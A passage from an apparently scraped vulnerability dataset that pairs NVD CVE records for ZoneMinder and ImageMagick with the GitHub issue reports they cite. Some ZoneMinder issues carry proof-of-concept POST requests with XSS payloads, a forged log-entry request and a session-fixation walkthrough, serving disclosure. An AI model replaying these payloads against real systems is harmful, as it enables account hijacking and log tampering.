"8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2467	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `user`, does no input validation to the value supplied to `username` field & processes it further storing the value into the database without any prior filtration, leading to stored XSS. To Reproduce Affected URL : http://localhost/zm/index.php POST Data - ``` view=user&action=user&uid=4&newUser%5BMonitorIds%5D=&newUser%5BUsername%5D=%3Cimgsrc%3Dxonerror%3Dprompt%28%272%27%29%3B%3E&newUser%5BPassword%5D=&conf_password=&newUser%5BLanguage%5D=en_gb&newUser%5BEnabled%5D=1&newUser%5BSt ream%5D=None&newUser%5BEvents%5D=None&newUser%5BControl%5D=None&newUser%5BMonitors%5D=None&newUser%5BGroups%5D=None&newUser%5BSystem%5D= None&newUser%5BMaxBandwidth%5D= ``` Payload used - `<img src=x onerror=prompt('1');>` - Navigate to the Affected URL, username will beset with the Payload. - Navigate to the http://192.168.0.6/zm/index.php?view=user&uid=4&popup=1, Payload will be triggered <img width="585" alt="user" src="https://user-images.githubusercontent.com/47003572/51709403-47758c00-204c-11e9-8f14-653851cc157d.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Self - Stored Cross Site Scripting (XSS) - user.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2467/comments	0	2019-01-24T21:19:53Z	2019-02-10T01:46:02Z	https://github.com/ZoneMinder/zoneminder/issues/2467	402,900,171	2,467
CVE-2019-7349	2019-02-04T19:29:01.413	Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'newMonitor[V4LCapturesPerFrame]' parameter value in the view monitor (monitor.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2465" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2465	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `monitor`, insecurely prints the `newMonitor[V4LCapturesPerFrame]` value on the webpage, without applying any proper filtration, leading to Reflected XSS. To Reproduce Affected URL : http://localhost/zm/index.php POST Data - `view=monitor&tab=source&action=monitor&mid=0&newMonitor[LinkedMonitors]=&origMethod=v4l2&newMonitor[Name]=Monitor1766&newMonitor[ServerId]=&newMonitor[StorageId]=1&newMonitor[Type]=Local&newMonitor[Function]=Mocord&newMonitor[Enabled]=1&newMonitor[RefBlendPerc]=6&ne wMonitor[AlarmRefBlendPerc]=6&newMonitor[AnalysisFPSLimit]=&newMonitor[MaxFPS]=30&newMonitor[AlarmMaxFPS]=30&newMonitor[Triggers] []=&newMonitor[Protocol]=&newMonitor[Host]=&newMonitor[Port]=80&newMonitor[Options]=&newMonitor[Path]=&newMonitor[User]=&newMonitor[Pass]=&newMonitor[Save JPEGs]=0&newMonitor[VideoWriter]=1&newMonitor[EncoderParameters]=# Lines beginning with # are a comment # For changing quality, use the crf option # 1 is best, 51 is worst quality #crf=23&newMonitor[RecordAudio]=0&newMonitor[RTSPDescribe]=0&newMonitor[LabelFormat]=%N - %d/%m/%y %H:%M:%S&newMonitor[LabelX]=0&newMonitor[LabelY]=0&newMonitor[LabelSize]=1&newMonitor[ImageBufferCount]=20&newMonitor[WarmupCount]=0&newMonitor[PreEve ntCount]=0&newMonitor[PostEventCount]=5&newMonitor[StreamReplayBuffer]=0&newMonitor[AlarmFrameCount]=1&newMonitor[EventPrefix]=Event&newMonitor[SectionLength]=600&newMonitor[FrameSkip]=0&newMonitor[MotionFrameSkip]=0&newMonitor[AnalysisUpdateDelay]=0&newMonitor[FPSReportInterval]=100&newMonitor[DefaultView]=Events&newMonitor[DefaultRate]=100&newMonitor[DefaultScale]=100&newMonitor[WebColour]=red&newMonitor[Exif]=0&newMonitor[SignalCheckP oints]=10&newMonitor[SignalCheckColour]=#0000c0&newMonitor[Device]=/dev/video0&newMonitor[Method]=&newMonitor[Channel]=0&newMonitor[Format]=255&newMonito r[Palette]=0&newMonitor[V4LMultiBuffer]="><img src=x onerror=prompt('1');>&newMonitor[V4LCapturesPerFrame]=&newMonitor[Colours]=\&newMonitor[Width]=1280&newMonitor[Height]=720 &newMonitor[Orientation]=0&newMonitor[Deinterlacing]=0` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="737" alt="monitor 2" src="https://user-images.githubusercontent.com/47003572/51708035-d2548780-2048-11e9-9e23-0fa11f6a37bb.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting(XSS) - monitor.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2465/comments	0	2019-01-24T20:59:00Z	2019-02-10T00:54:16Z	https://github.com/ZoneMinder/zoneminder/issues/2465	402,892,908	2,465
CVE-2019-7350	2019-02-04T19:29:01.443	Session fixation exists in ZoneMinder through 1.32.3, as an attacker can fixate his own session cookies to the next logged-in user, thereby hijacking the victim's account. This occurs because a set of multiple cookies (between 3 and 5) is being generated when a user successfully logs in, and these sets overlap for successive logins.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4.9, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.3, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 2.1, "impactScore": 5.2, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2471" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2471	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug Before any response being rendered on the web page, a cookie is being set as part of response via Set-Cookie header.Currently due to improper implementation, multiple cookies (3-5) are being set when a user successfully logs in, which isn't an expected behavior.Now when the next user logs into the application using the same browser, the last user's last cookie is being set as the present user's first cookie. To Reproduce - Login into the application, capture the response (Live HTTP header addon for firefox) - Multiple Set-Cookie headers will be present in the response Exploitation Actors- - User A (Victim) - User B (Attacker) 1. User B logs into the application, captures his own Cookies & logs out. User B's cookie : Set-Cookie: ZMSESSID=rrnilufc9vgb3cp0l2m7cqrc91; path=/; HttpOnly Set-Cookie: ZMSESSID=blkta1mgocj5ksqdg5ncpdptg3; path=/; HttpOnly Set-Cookie: ZMSESSID=blkta1mgocj5ksqdg5ncpdptg3; path=/; HttpOnly Set-Cookie: ZMSESSID=blkta1mgocj5ksqdg5ncpdptg3; path=/; HttpOnly Set-Cookie: ZMSESSID=p79d4mk2g6sm5qi6o51ep6j6m5; path=/; HttpOnly - `Common to User A's First cookie` 2. User A Uses the same browser & log into the application. User A's cookie - Set-Cookie: ZMSESSID=p79d4mk2g6sm5qi6o51ep6j6m5; path=/; HttpOnly - `Common to User B's Last cookie` Set-Cookie: ZMSESSID=2397j5pchtgt153ukrmutgbmv1; path=/; HttpOnly Set-Cookie: ZMSESSID=2397j5pchtgt153ukrmutgbmv1; path=/; HttpOnly Set-Cookie: ZMSESSID=2397j5pchtgt153ukrmutgbmv1; path=/; HttpOnly Set-Cookie: ZMSESSID=eg5hvsn3i67n34fibt5nq7lbu6; path=/; HttpOnly 3. User B uses User A's Last cookie to hijack the User B's session (locally/remotely) Expected behavior - Only set single cookie the user & invalidate the same once user logs out of the application. Debug Logs ``` None ```	Improper Session Management - Session Fixation	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2471/comments	3	2019-01-24T21:49:38Z	2023-12-19T04:51:42Z	https://github.com/ZoneMinder/zoneminder/issues/2471	402,910,506	2,471
CVE-2019-7351	2019-02-04T19:29:01.490	Log Injection exists in ZoneMinder through 1.32.3, as an attacker can entice the victim to visit a specially crafted link, which in turn will inject a custom Log message provided by the attacker in the 'log' view page, as demonstrated by the message=User%20'admin'%20Logged%20in value.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2466" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2466	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing him to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability Most components of ZoneMinder can emit informational, warning, error and debug messages in a standard format. These messages can be logged in.. Example of these messages is: `03/01/06 13:46:00.166046 zmpkg[11148].INF [Command: start]` The first part refers to the date and time of the entry, the next section is the name (or an abbreviated version) of the script, followed by the process id in square brackets, a severity code (INF, WAR, ERR or DBG) and the debug text. All the mentioned information can be manipulated & inject by an attacker by enticing the victim to visit a specially crafted link, which in turn will inject a custom Log message provided by the attacker. The same will be reflected in the `Log` view page To Reproduce Affected URL : http://localhost/zm/index.php POST Data - `browser[name]=chrome&browser[platform]=win&browser[version]=41&file=admin&level=INF&line=128&message=User 'admin' Logged in&page=1&request=log&task=create` - Navigate to the Affected URL, Custom Log will be injected. - Navigate to the http://localhost/zm/index.php?view=log, Log will be visible. <img width="737" alt="log injection" src="https://user-images.githubusercontent.com/47003572/51708285-86eea900-2049-11e9-9b27-9565c3c1798f.png"> Expected behavior - Do not allow tainted data to be written in the log file without prior input validation. Whitelisting may be used to properly validate the data. Debug Logs ``` None ```	Log Injection	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2466/comments	4	2019-01-24T21:05:23Z	2022-04-16T07:32:29Z	https://github.com/ZoneMinder/zoneminder/issues/2466	402,895,117	2,466
CVE-2019-7352	2019-02-04T19:29:01.537	Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the view 'state' (aka Run State) (state.php) does no input validation to the value supplied to the 'New State' (aka newState) field, allowing an attacker to execute HTML or JavaScript code.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2475" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2475	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `Run State`, does no input validation to the value supplied to `New State` field & processes it further storing the value into the database without any prior filtration, leading to stored XSS. To Reproduce Affected URL : http://localhost/zm/index.php POST Data - `__csrf_magic=key:1f34f1349423d6ec88301cfdfa4d450eb8d33c1b,1547801142&view=console&action=save&apply=1&newState=<script>alert('1');</script>` Payload used - `<script>alert('1');</script>` - Navigate to the Affected URL and set value of New State with payload - Click on Download and Payload would be triggered. <img width="624" alt="state" src="https://user-images.githubusercontent.com/47003572/51712014-89ee9700-2053-11e9-8417-82a133881b07.png"> <img width="618" alt="state 1" src="https://user-images.githubusercontent.com/47003572/51712013-89ee9700-2053-11e9-9b57-44ea90bdf746.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Self - Stored Cross Site Scripting (XSS) - state.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2475/comments	0	2019-01-24T22:15:13Z	2019-02-10T04:40:27Z	https://github.com/ZoneMinder/zoneminder/issues/2475	402,919,369	2,475
CVE-2019-7395	2019-02-05T00:29:00.400	In ImageMagick before 7.0.8-25, a memory leak exists in WritePSDChannel in coders/psd.c.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "[email protected]", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106850" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/commit/8a43abefb38c5e29138e1c9c515b313363541c06" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1451" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:imagemagick:imagemagick::::::::", "matchCriteriaId": "E982CE9C-89F7-4A5D-B036-A9A483493D5B", "versionEndExcluding": "6.9.10-25", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:imagemagick:imagemagick::::::::", "matchCriteriaId": "2F7DF2A1-ADDE-48C4-BD39-CCA15D0D767A", "versionEndExcluding": "7.0.8-25", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "7.0.0-0", "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:opensuse:leap:15.0:::::::", "matchCriteriaId": "F1E78106-58E6-4D59-990F-75DA575BFAD9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:debian:debian_linux:10.0:::::::", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04::::lts:::", "matchCriteriaId": "F7016A2A-8365-4F1A-89A2-7A19F2BCAE5B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.04::::lts:::", "matchCriteriaId": "23A7C53F-B80F-4E6A-AFA9-58EEA84BE11D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.10:::::::", "matchCriteriaId": "07C312A0-CD2C-4B9C-B064-6409B25C278F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:19.04:::::::", "matchCriteriaId": "CD783B0C-9246-47D9-A937-6144FE8BFF0F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ImageMagick/ImageMagick/issues/1451	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "ImageMagick", "ImageMagick" ]	### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> memory leak in WritePSDChannel in coders/psd.c ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> The critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/psd.c#L2767 ```c #ifdef MAGICKCORE_ZLIB_DELEGATE if (compression == ZipCompression) { compressed_pixels=(unsigned char ) AcquireQuantumMemory(CHUNK, //line 2770 sizeof(compressed_pixels)); if (compressed_pixels == (unsigned char ) NULL) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } memset(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; level=Z_DEFAULT_COMPRESSION; if ((image_info->quality > 0 && image_info->quality < 10)) level=(int) image_info->quality; if (deflateInit(&stream,level) != Z_OK) //line 2782 { quantum_info=DestroyQuantumInfo(quantum_info); return(0); //line 2785 } } ``` compressed_pixels* is allocated at line 2770, however, when the condition at line 2782 is satisfied and the function returns at line 2785, compressed_pixels (size is 16KB) is not freed and memory leak happens. In addition, the value of compressed_pixels is not passed outside to its caller function when returned at line 2785. So the condition that this memory leak happens is that MAGICKCORE_ZLIB_DELEGATE is defined, compression type is ZipCompression and deflateInit(&stream,level) is not Z_OK. The size of leaked memory is 16KB. Patch suggestion: ```c if (deflateInit(&stream,level) != Z_OK) //line 2782 { quantum_info=DestroyQuantumInfo(quantum_info); + compressed_pixels=(unsigned char *) RelinquishMagickMemory( + compressed_pixels); return(0); } } ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information: <!-- Thanks for reporting the issue to ImageMagick! --> Credit to Bingchang Liu at VARAS of IIE	memory leak in WritePSDChannel in coders/psd.c	https://api.github.com/repos/ImageMagick/ImageMagick/issues/1451/comments	2	2019-01-17T03:11:55Z	2019-02-12T01:45:47Z	https://github.com/ImageMagick/ImageMagick/issues/1451	400,092,278	1,451
CVE-2019-7396	2019-02-05T00:29:00.447	In ImageMagick before 7.0.8-25, a memory leak exists in ReadSIXELImage in coders/sixel.c.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106849" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/commit/748a03651e5b138bcaf160d15133de2f4b1b89ce" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1452" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:imagemagick:imagemagick::::::::", "matchCriteriaId": "E982CE9C-89F7-4A5D-B036-A9A483493D5B", "versionEndExcluding": "6.9.10-25", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:imagemagick:imagemagick::::::::", "matchCriteriaId": "2F7DF2A1-ADDE-48C4-BD39-CCA15D0D767A", "versionEndExcluding": "7.0.8-25", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "7.0.0-0", "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:opensuse:leap:15.0:::::::", "matchCriteriaId": "F1E78106-58E6-4D59-990F-75DA575BFAD9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:debian:debian_linux:10.0:::::::", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04::::lts:::", "matchCriteriaId": "F7016A2A-8365-4F1A-89A2-7A19F2BCAE5B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.04::::lts:::", "matchCriteriaId": "23A7C53F-B80F-4E6A-AFA9-58EEA84BE11D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.10:::::::", "matchCriteriaId": "07C312A0-CD2C-4B9C-B064-6409B25C278F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:19.04:::::::", "matchCriteriaId": "CD783B0C-9246-47D9-A937-6144FE8BFF0F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ImageMagick/ImageMagick/issues/1452	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "ImageMagick", "ImageMagick" ]	### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the 